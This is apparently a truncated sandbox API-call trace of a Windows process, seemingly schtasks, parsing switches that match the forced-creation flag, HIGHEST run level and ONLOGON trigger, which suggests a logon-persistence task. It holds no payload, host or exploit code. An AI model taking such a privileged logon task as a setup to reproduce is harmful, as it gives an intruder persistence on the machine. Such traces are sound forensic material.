lstrlenW (lpString="|u|") returned 3 [0163.988] lstrlenW (lpString="|f|") returned 3 [0163.988] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0163.988] SetLastError (dwErrCode=0x490) [0163.988] lstrlenW (lpString="p") returned 1 [0163.988] lstrlenW (lpString="p") returned 1 [0163.988] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.988] lstrlenW (lpString="f") returned 1 [0163.988] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.988] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|p|") returned 3 [0163.988] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.989] lstrlenW (lpString="|p|") returned 3 [0163.989] lstrlenW (lpString="|f|") returned 3 [0163.989] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0163.989] SetLastError (dwErrCode=0x490) [0163.989] lstrlenW (lpString="ru") returned 2 [0163.989] lstrlenW (lpString="ru") returned 2 [0163.989] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.989] lstrlenW (lpString="f") returned 1 [0163.989] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.989] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ru|") returned 4 [0163.989] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.989] lstrlenW (lpString="|ru|") returned 4 [0163.989] lstrlenW (lpString="|f|") returned 3 [0163.989] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0163.989] SetLastError (dwErrCode=0x490) [0163.989] lstrlenW (lpString="rp") returned 2 [0163.989] lstrlenW (lpString="rp") returned 2 [0163.989] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.989] lstrlenW (lpString="f") returned 1 [0163.989] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.989] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rp|") returned 4 [0163.989] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.989] lstrlenW (lpString="|rp|") returned 4 [0163.989] lstrlenW (lpString="|f|") returned 3 [0163.989] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0163.989] SetLastError (dwErrCode=0x490) [0163.989] lstrlenW (lpString="sc") returned 2 [0163.989] lstrlenW (lpString="sc") returned 2 [0163.990] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.990] lstrlenW (lpString="f") returned 1 [0163.990] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.990] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.990] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.990] lstrlenW (lpString="|sc|") returned 4 [0163.990] lstrlenW (lpString="|f|") returned 3 [0163.990] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0163.990] SetLastError (dwErrCode=0x490) [0163.990] lstrlenW (lpString="mo") returned 2 [0163.990] lstrlenW (lpString="mo") returned 2 [0163.990] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.990] lstrlenW (lpString="f") returned 1 [0163.990] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.990] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|mo|") returned 4 [0163.990] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.990] lstrlenW (lpString="|mo|") returned 4 [0163.990] lstrlenW (lpString="|f|") returned 3 [0163.990] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0163.990] SetLastError (dwErrCode=0x490) [0163.990] lstrlenW (lpString="d") returned 1 [0163.990] lstrlenW (lpString="d") returned 1 [0163.990] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.990] lstrlenW (lpString="f") returned 1 [0163.990] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.990] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|d|") returned 3 [0163.990] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.991] lstrlenW (lpString="|d|") returned 3 [0163.991] lstrlenW (lpString="|f|") returned 3 [0163.991] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0163.991] SetLastError (dwErrCode=0x490) [0163.991] lstrlenW (lpString="m") returned 1 [0163.991] lstrlenW (lpString="m") returned 1 [0163.991] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.991] lstrlenW (lpString="f") returned 1 [0163.991] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.991] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|m|") returned 3 [0163.991] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.991] lstrlenW (lpString="|m|") returned 3 [0163.991] lstrlenW (lpString="|f|") returned 3 [0163.991] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0163.991] SetLastError (dwErrCode=0x490) [0163.991] lstrlenW (lpString="i") returned 1 [0163.991] lstrlenW (lpString="i") returned 1 [0163.991] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.991] lstrlenW (lpString="f") returned 1 [0163.991] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.991] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|i|") returned 3 [0163.991] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.991] lstrlenW (lpString="|i|") returned 3 [0163.991] lstrlenW (lpString="|f|") returned 3 [0163.991] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0163.991] SetLastError (dwErrCode=0x490) [0163.991] lstrlenW (lpString="tn") returned 2 [0163.991] lstrlenW (lpString="tn") returned 2 [0163.992] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.992] lstrlenW (lpString="f") returned 1 [0163.992] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.992] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.992] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.992] lstrlenW (lpString="|tn|") returned 4 [0163.992] lstrlenW (lpString="|f|") returned 3 [0163.992] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0163.992] SetLastError (dwErrCode=0x490) [0163.992] lstrlenW (lpString="tr") returned 2 [0163.992] lstrlenW (lpString="tr") returned 2 [0163.992] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.992] lstrlenW (lpString="f") returned 1 [0163.992] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.992] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tr|") returned 4 [0163.992] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.992] lstrlenW (lpString="|tr|") returned 4 [0163.992] lstrlenW (lpString="|f|") returned 3 [0163.992] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0163.992] SetLastError (dwErrCode=0x490) [0163.992] lstrlenW (lpString="st") returned 2 [0163.992] lstrlenW (lpString="st") returned 2 [0163.992] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.992] lstrlenW (lpString="f") returned 1 [0163.992] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.993] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|st|") returned 4 [0163.993] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.993] lstrlenW (lpString="|st|") returned 4 [0163.993] lstrlenW (lpString="|f|") returned 3 [0163.993] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0163.993] SetLastError (dwErrCode=0x490) [0163.993] lstrlenW (lpString="sd") returned 2 [0163.993] lstrlenW (lpString="sd") returned 2 [0163.993] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.993] lstrlenW (lpString="f") returned 1 [0163.993] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.993] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sd|") returned 4 [0163.993] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.993] lstrlenW (lpString="|sd|") returned 4 [0163.993] lstrlenW (lpString="|f|") returned 3 [0163.993] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0163.993] SetLastError (dwErrCode=0x490) [0163.993] lstrlenW (lpString="ed") returned 2 [0163.993] lstrlenW (lpString="ed") returned 2 [0163.993] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.993] lstrlenW (lpString="f") returned 1 [0163.993] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.993] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ed|") returned 4 [0163.993] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.993] lstrlenW (lpString="|ed|") returned 4 [0163.993] lstrlenW (lpString="|f|") returned 3 [0163.993] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0163.993] SetLastError (dwErrCode=0x490) [0163.994] lstrlenW (lpString="it") returned 2 [0163.994] lstrlenW (lpString="it") returned 2 [0163.994] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.994] lstrlenW (lpString="f") returned 1 [0163.994] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.994] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|it|") returned 4 [0163.994] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.994] lstrlenW (lpString="|it|") returned 4 [0163.994] lstrlenW (lpString="|f|") returned 3 [0163.994] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0163.994] SetLastError (dwErrCode=0x490) [0163.994] lstrlenW (lpString="et") returned 2 [0163.994] lstrlenW (lpString="et") returned 2 [0163.994] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.994] lstrlenW (lpString="f") returned 1 [0163.994] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.994] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|et|") returned 4 [0163.994] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.994] lstrlenW (lpString="|et|") returned 4 [0163.994] lstrlenW (lpString="|f|") returned 3 [0163.994] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0163.994] SetLastError (dwErrCode=0x490) [0163.994] lstrlenW (lpString="k") returned 1 [0163.994] lstrlenW (lpString="k") returned 1 [0163.994] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.994] lstrlenW (lpString="f") returned 1 [0163.994] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.994] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|k|") returned 3 [0163.995] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.995] lstrlenW (lpString="|k|") returned 3 [0163.995] lstrlenW (lpString="|f|") returned 3 [0163.995] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0163.995] SetLastError (dwErrCode=0x490) [0163.995] lstrlenW (lpString="du") returned 2 [0163.995] lstrlenW (lpString="du") returned 2 [0163.995] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.995] lstrlenW (lpString="f") returned 1 [0163.995] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.995] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|du|") returned 4 [0163.995] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.995] lstrlenW (lpString="|du|") returned 4 [0163.995] lstrlenW (lpString="|f|") returned 3 [0163.995] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0163.995] SetLastError (dwErrCode=0x490) [0163.995] lstrlenW (lpString="ri") returned 2 [0163.995] lstrlenW (lpString="ri") returned 2 [0163.995] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.995] lstrlenW (lpString="f") returned 1 [0163.995] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.995] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ri|") returned 4 [0163.995] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.995] lstrlenW (lpString="|ri|") returned 4 [0163.995] lstrlenW (lpString="|f|") returned 3 [0163.995] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0163.996] SetLastError (dwErrCode=0x490) [0163.996] lstrlenW (lpString="z") returned 1 [0163.996] lstrlenW (lpString="z") returned 1 [0163.996] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.996] lstrlenW (lpString="f") returned 1 [0163.996] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.996] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|z|") returned 3 [0163.996] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.996] lstrlenW (lpString="|z|") returned 3 [0163.996] lstrlenW (lpString="|f|") returned 3 [0163.996] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0163.996] SetLastError (dwErrCode=0x490) [0163.996] lstrlenW (lpString="f") returned 1 [0163.996] lstrlenW (lpString="f") returned 1 [0163.996] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.996] lstrlenW (lpString="f") returned 1 [0163.996] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.996] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.996] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|f|") returned 3 [0163.996] lstrlenW (lpString="|f|") returned 3 [0163.996] lstrlenW (lpString="|f|") returned 3 [0163.996] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0163.996] SetLastError (dwErrCode=0x0) [0163.996] SetLastError (dwErrCode=0x0) [0163.996] GetProcessHeap () returned 0x310000 [0163.996] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ccf0 [0163.996] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.997] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0163.997] lstrlenW (lpString="LIMITED") returned 7 [0163.997] GetProcessHeap () returned 0x310000 [0163.997] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d580 [0163.997] GetThreadLocale () returned 0x409 [0163.997] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0163.997] GetProcessHeap () returned 0x310000 [0163.997] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ccc0 [0163.997] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.997] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0163.997] lstrlenW (lpString="HIGHEST") returned 7 [0163.997] GetProcessHeap () returned 0x310000 [0163.997] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d5a0 [0163.997] GetThreadLocale () returned 0x409 [0163.997] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0163.997] GetProcessHeap () returned 0x310000 [0163.997] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc90 [0163.997] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.997] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0163.997] lstrlenW (lpString="MINUTE") returned 6 [0163.997] GetProcessHeap () returned 0x310000 [0163.997] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d5c0 [0163.997] GetThreadLocale () returned 0x409 [0163.997] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0163.997] GetProcessHeap () returned 0x310000 [0163.998] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc60 [0163.998] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.998] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0163.998] lstrlenW (lpString="HOURLY") returned 6 [0163.998] GetProcessHeap () returned 0x310000 [0163.998] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d5e0 [0163.998] GetThreadLocale () returned 0x409 [0163.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0163.998] GetProcessHeap () returned 0x310000 [0163.998] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc30 [0163.998] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.998] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0163.998] lstrlenW (lpString="DAILY") returned 5 [0163.998] GetProcessHeap () returned 0x310000 [0163.998] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xc) returned 0x32d600 [0163.998] GetThreadLocale () returned 0x409 [0163.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0163.998] GetProcessHeap () returned 0x310000 [0163.998] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cc00 [0163.998] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.998] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0163.998] lstrlenW (lpString="WEEKLY") returned 6 [0163.998] GetProcessHeap () returned 0x310000 [0163.998] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32d620 [0163.998] GetThreadLocale () returned 0x409 [0163.998] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0163.998] GetProcessHeap () returned 0x310000 [0163.998] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cbd0 [0163.998] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.999] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0163.999] lstrlenW (lpString="MONTHLY") returned 7 [0163.999] GetProcessHeap () returned 0x310000 [0163.999] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x10) returned 0x32d640 [0163.999] GetThreadLocale () returned 0x409 [0163.999] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0163.999] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.999] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0163.999] lstrlenW (lpString="ONCE") returned 4 [0163.999] GetProcessHeap () returned 0x310000 [0163.999] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xa) returned 0x32d660 [0163.999] GetThreadLocale () returned 0x409 [0163.999] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0163.999] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.999] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0163.999] lstrlenW (lpString="ONSTART") returned 7 [0163.999] GetThreadLocale () returned 0x409 [0163.999] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0163.999] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.999] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0163.999] lstrlenW (lpString="ONLOGON") returned 7 [0163.999] GetThreadLocale () returned 0x409 [0163.999] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0164.000] SetLastError (dwErrCode=0x0) [0164.000] GetProcessHeap () returned 0x310000 [0164.000] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x1fc) returned 0x32c2b0 [0164.000] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.000] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0164.000] lstrlenW (lpString="First") returned 5 [0164.000] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.000] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0164.000] lstrlenW (lpString="Second") returned 6 [0164.000] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.000] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0164.000] lstrlenW (lpString="Third") returned 5 [0164.000] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.000] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0164.000] lstrlenW (lpString="Fourth") returned 6 [0164.000] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.000] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0164.000] lstrlenW (lpString="Last") returned 4 [0164.000] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.000] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0164.000] lstrlenW (lpString="First") returned 5 [0164.000] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.000] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0164.000] lstrlenW (lpString="Second") returned 6 [0164.000] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.001] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0164.001] lstrlenW (lpString="Third") returned 5 [0164.001] GetProcessHeap () returned 0x310000 [0164.001] GetProcessHeap () returned 0x310000 [0164.001] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d660) returned 1 [0164.001] GetProcessHeap () returned 0x310000 [0164.001] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d660) returned 0xa [0164.001] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d660 | out: hHeap=0x310000) returned 1 [0164.001] GetProcessHeap () returned 0x310000 [0164.001] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xc) returned 0x32d660 [0164.001] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.001] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0164.001] lstrlenW (lpString="Fourth") returned 6 [0164.001] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.001] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0164.001] lstrlenW (lpString="Last") returned 4 [0164.001] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c440, cchData=128 | out: lpLCData="0") returned 